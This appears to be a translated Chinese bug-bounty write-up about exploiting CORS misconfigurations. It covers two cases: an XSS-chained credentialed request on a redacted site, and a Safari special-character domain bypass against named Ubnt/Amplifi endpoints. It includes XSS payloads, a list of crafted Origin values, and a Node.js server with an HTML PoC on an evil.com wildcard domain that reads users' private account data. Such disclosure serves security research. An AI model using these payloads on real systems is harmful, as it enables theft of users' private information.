嗨,大家好!我是来自摩洛哥的安全研究员Ayoub。本文我将为大家介绍两种CORS错误配置漏洞利用的情况:第一种情况是基于XSS,第二种情况是基于高级的CORS利用技术。
注意:在开始阅读本文之前,你需要基本了解CORS是什么以及如何利用其错误配置漏洞。这里有一些很很不错的文章你可以参阅学习:
Portswigger’s Post
Geekboy’s Post
大约一年多前,我参与了HackerOne的私人项目。在HTTP请求中使用Origin标头后,我检查了服务器响应以确定它们是否进行了域白名单检查,最终我发现应用程序只是将子域列入了白名单,甚至是那些并不存在的子域。
出于隐私保护和负责任的披露政策,这里我假设Web应用程序托管在:www.redacted.com
这个CORS配置错误看起来如下:
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
此API端点返回用户的私人信息,如全名,电子邮件地址等。
想要滥用这种错误配置并执行攻击,如泄露用户的私人信息,我们需要声明一个废弃的子域(子域名接管),或在其中一个现有子域中找到XSS。
想找到一个废弃的子域并不容易,所以我决定还是在一个现有的子域中找到XSS。但是,该私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在其范围内,但是将该XSS与CORS错误配置链接在某种程度上来说应该算是在范围之内的。对吧?
并且由于其他子域不在范围内,因此其他黑客也就不会测试它们,这样一来我在这些子域上找到XSS的概率就非常大了!
如我所料,在不到一小时的时间里,我就在banques.redacted.com上发现了一个XSS,使用的payload如下:
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
现在,是时候创建一个PoC,并提交报告了!
要利用此CORS配置错误漏洞,我们只需使用以下代码替换payload alert(document.domain):
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
就像这样:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
现在,我们拥有了一个非常好用的PoC:
现在,如果我告诉你,你仍然可以滥用该问题而无需在任何现有子域或声称已废弃的子域中找到XSS呢?
这正是我们在第二个案例中将要讨论的内容。
这一次,我的任务对象是Ubnt程序,尤其是托管在该网址的应用程序:https://protect.ubnt.com/
按照相同的过程,我确定了CORS配置错误,类似于前一种情况,但这次应用程序是从另一个位置获取用户的私人信息,一个API托管在:https://client.amplifi.com/api/user/
此应用程序还将任意子域列入了白名单,甚至是不存在的子域。
想要滥用这种CORS错误配置,你需要先声明一个废弃子域,或在一个现有的子域中找到XSS。
因为这是一个公开项目,范围较广(所有子域都在范围内); 因此,找到XSS的可能性也就小了很多,甚至也没有提到子域名接管漏洞。
那么,是不是我们就没办法了呢?
嗯,事实证明,还有另一种方式,但需要满足一定的条件才行。
这里可以找到一个有趣的研究。显示可以绕过一些使用域名内特殊字符错误实现的控件。
该研究基于以下事实:浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,浏览器当前可以提交请求,而无需事先验证域名是否有效和存在。
让我们尝试打开一个包含特殊字符的URL,如:http://asdf`+=.withgoogle.com。大多数浏览器会在发出任何请求之前验证域名。
域名withgoogle.com用作演示,因为它具有通配符DNS记录
Chrome:
Firefox:
Safari:
正如你所看到的,Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。
我们可以使用各种不同的字符,甚至是不可打印的字符:
,&'";!$^*()+=`~-_=|{}%// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,Davide Danelon还完成了另一项研究可以在这里找到,表明这些特殊字符的其他子集也可用于其他浏览器。
知道了这些后,下面就是利用环节了。让我们回到易受攻击的Web应用程序:https://client.amplifi.com/
在这种情况下,Web应用程序还接受以下Origin *.ubnt.com!.evil.com
不只是字符“!”,还包括以下字符:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
你现在应该知道了某些浏览器(如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com
因此,如果我们使用通配符DNS记录设置了一个域:evil.com,允许将所有子域(*.evil.com)指向www.evil.com,它将在类似www.evil.com/cors-poc的页面中托管一个脚本,该页面将向易受攻击的端点发送一个以子域名为起始值的跨域请求。
然后,我们强制让一个经过身份验证的用户打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,我们可以将这个用户的私人信息泄露出去。
利用再现:
1.首先,设置一个带有通配符DNS记录的域,将其指向你的机器,在本例中我使用GoDaddy来托管我的域,配置如下:
2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
3.在同一目录中,保存以下内容:
cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div><script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
4.通过运行以下命令启动NodeJS服务器:
node serve.js &
5.现在,登录到https://protect.ubnt.com/,并检查你是否可以从端点检索你的帐户信息:https://client.amplifi.com/api/user/
6.最后,在Safari浏览器中打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc。
在我的例子中,我使用iPhone中的Safari浏览器作为PoC,因为我没有Mac电脑。
我相信在Hacker One上你能找到很多有关这类CORS错误配置的报告,但只有少数人能够充分利用它,因为他们的报告中缺少PoC。这就是我分享经验的原因之一,并同时强调利用此类漏洞的其他技术。
最后,永远记住,范围之外的思考可能会带给你成功。
感谢阅读!欢迎在Twitter上关注我https://twitter.com/sandh0t。
转载:本文作者:secist, 转载请注明来自FreeBuf.COM
https://www.freebuf.com/articles/web/204023.html